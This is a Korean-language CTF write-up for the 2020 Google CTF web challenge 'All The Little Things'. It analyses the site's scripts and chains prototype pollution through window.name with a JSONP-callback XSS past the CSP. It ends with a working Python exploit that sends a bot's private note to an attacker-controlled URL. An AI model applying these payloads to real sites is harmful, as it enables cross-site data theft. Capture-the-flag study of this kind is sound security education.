NGA

ALL THE LITTLE THINGS

I left a little secret in a note, but it's private, private is safe. Note: TJMike🎤 from Pasteurize is also logged into the page.

https://littlethings.web.ctfcompetition.com

 

username, Profile image를 통해 Login을 할 수 있으며 /settings, /note, /logout 페이지와 user.js, utils.js, theme.js 가 존재한다.

 

/static/scripts/user.js

User Class와 make_user_object 함수가 정의되어 있다.

class User {
    #username; #theme; #img
    constructor(username, img, theme) {
        this.#username = username
        this.#theme = theme
        this.#img = img
    }
    get username() {
        return this.#username
    }

    get img() {
        return this.#img
    }

    get theme() {
        return this.#theme
    }

    toString() {
        return `user_${this.#username}`
    }
}

function make_user_object(obj) {

    const user = new User(obj.username, obj.img, obj.theme);
    window.load_debug?.(user);

    // make sure to not override anything
    if (!is_undefined(document[user.toString()])) {
        return false;
    }
    document.getElementById('profile-picture').src=user.img;
    window.USERNAME = user.toString();
    document[window.USERNAME] = user;
    update_theme();
}

 

/static/scripts/utils.js

DOM이 로드되면 사용자의 정보값을 make_user_object에 인자로 넘긴다.

// Page: /me
{"username":"NGA","img":"https://this_is_Profile_image_value","theme":{"cb":"set_light_theme","options":{},"choice":1}}

// Page: utils.js
// make sure that variable is undefined
function is_undefined(x) {
    return typeof x === "undefined" && x == undefined
}

window.addEventListener('DOMContentLoaded', ()=>{
    fetch('/me').then(e => e.json()).then(make_user_object);
})

 

/static/scripts/theme.js

update_theme에서 "/theme?cb=~"를 src 로 script tag를 생성한다. 

function set_dark_theme(obj) {
    const theme_url = "/static/styles/bootstrap_dark.css";
    document.querySelector('#bootstrap-link').href = theme_url;
    localStorage['theme'] = theme_url;
}

function set_light_theme(obj) {
    theme_url = "/static/styles/bootstrap.css";
    document.querySelector('#bootstrap-link').href = theme_url;
    localStorage['theme'] = theme_url;
}

function update_theme() {
    const theme = document[USERNAME].theme;
    const s = document.createElement('script');
    s.src = `/theme?cb=${theme.cb}`;
    document.head.appendChild(s);
}

document.querySelector('#bootstrap-link').href = localStorage['theme'];

 

/theme?cb=

a-z, 0-9, ".", "_", "="를 사용할 수 있었다.

foo({"version":"b1.13.7","timestamp":1598445847277})

 

/settings

Login에 사용한 값과 웹사이트의 태마를 수정할 수 있고 ?__dubug__ 를 발견할 수 있었다.

    <main>
        <div class="container pt-5 w-50">
            <h1>Settings</h1>
            <hr class="featurette-divider">

            <form class="form" id="settings" method="POST">
                <label class=active for=username>Name:</label>
                <input class="form-control" id=username name=username value="NGA">
                <label class=active for=img>Profile picture:</label>
                <input class="form-control" placeholder="https://" type=url id=img name=img value="https://this_is_Profile_image_value">
                <label class=active for=script-choice>Theme:</label>
                <select class="form-control" id=script-choice name=script-choice>
                    <option value=1 selected>Light Mode</option>
                    <option value=2 >Dark Mode</option>
                </select>
                <input name="csrf" value="37ffa7a4-c453-438e-8130-27992a80b14f" hidden>
                <button class="mt-3 btn btn-primary btn-block" type="submit">
                    Submit
                </button>
            </form>
        </div>
    </main>



    <!-- ?__debug__ -->

 

?__debug__의 설정으로 모든 페이지에 /static/scripts/debug.js이 포함되어 있었다.

/static/scripts/debug.js

load_debug 함수에서 window.name Object와 user Object를 assign 함으로 user값을 원하는대로 조작할 수 있게된다. 

// Extend user object
function load_debug(user) {
    let debug;
    try {
        debug = JSON.parse(window.name);
    } catch (e) {
        return;
    }

    if (debug instanceof Object) {
        Object.assign(user, debug);
    }

    if(user.verbose){
        console.log(user);
    }

    if(user.showAll){
        document.querySelectorAll('*').forEach(e=>e.classList.add('display-block'));
    }

    if(user.keepDebug){
        document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href));
    }else{
        document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href));
    }

    window.onerror = e =>alert(e);
}

function append_debug(u){
    const url = new URL(u);
    url.searchParams.append('__debug__', 1);
    return url.href;
}

function remove_debug(u){
    const url = new URL(u);
    url.searchParams.delete('__debug__');
    return url.href;
}

 

/note

Private, Public한 note를 작성할 수 있으며 Private note는 littlethings에서 확인이 가능하며 Public note는 이전 문제였던 pasteurize에서 확인이 가능하다. 해당 문제는 pasteurize bot의 Private note를 읽어오면 된다.

	<h3>Create new note</h3>
        <hr class="featurette-divider">
        <form class="form" method="post">
            <label for="note-content">Note: </label>
            <textarea class="form-control" id="note-content" name="content"></textarea>
            <input name="csrf" value="c4f110cd-35c1-4403-a456-cbbbda56129b" hidden>
            <label for="vis">Visibility: </label>
            <select class="form-control" id="vis" name="visibility">
                <option>private</option>
                <option>public</option>
            </select>
            <input class="mt-3 btn btn-primary btn-block" type="submit" value="Submit">
        </form>

 

 

pasteurize bot의 Private note를 읽기위해선 littlethings에서의 XSS를 찾아야 한다.

CSP로 인해 script-src: self 만 가능성이 있다.

 

/static/scripts/theme.js에 update_theme의 theme.cb를 조작해 XSS를 만들 수 있게 된다.

{
    "<title>foo</title>":"bar",
    "__proto__": {
        "theme": {
            "cb": "document.head.innerHTML=window.name.toString"
        }
    }
}

 

 

Javascript는 /theme?cb를 통해서만 실행이 가능함으로 한번에 Private note를 읽어올 수 없다.

location.search + img referer 로 Private note를 읽어올 수 있다.

Exploit Code

#python3 exploit.py "https://hacker.com" "note"

from requests import *
from urllib.parse import quote
import base64
import re
import sys


my_url = sys.argv[1]
target_path = sys.argv[2]

html = """<title class='display-block'>&__debug__=1&text=</title>
<link rel='stylesheet' href='/static/styles/style.css'>
<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.location.search=top.document.firstElementChild.innerText.toString></script>'></iframe>
""".replace("\n","")

window_name = """
{
    "html": "
""" + html + """
",
    "__proto__": {
        "img": "
""" + my_url + """
",
        "theme": {
            "cb": "document.head.innerHTML=window.name.toString"
        }
    }, "showAll":"1"
}
"""
window_name = window_name.replace("\n","")
window_name = quote(base64.b64encode(window_name.encode()).decode())

url = "https://pasteurize.web.ctfcompetition.com/"
header = {"Content-Type":"application/x-www-form-urlencoded"}
data = "content[]=;window.name=atob(`{}`);location=`https://littlethings.web.ctfcompetition.com/{}?__debug__`;".format(window_name,target_path)
res = post(url, data=data,headers=header)

p = re.compile('<form action="(.*?)" method="POST" class="form row">')
print("report : ",p.findall(res.text)[0])

CTF{When_the_w0rld_c0mes_t0_an_end_all_that_matters_are_these_little_things}

'CTF > 2020 Google CTF' 카테고리의 다른 글

2020 Google CTF Web TECH SUPPORT 136pt  (0) 2020.08.26
2020 Google CTF Web LOG-ME-IN 87pt  (0) 2020.08.25
2020 Google CTF Web Pasteurize 50pt  (0) 2020.08.25

이 글을 공유합시다

facebook twitter googleplus kakaoTalk kakaostory naver band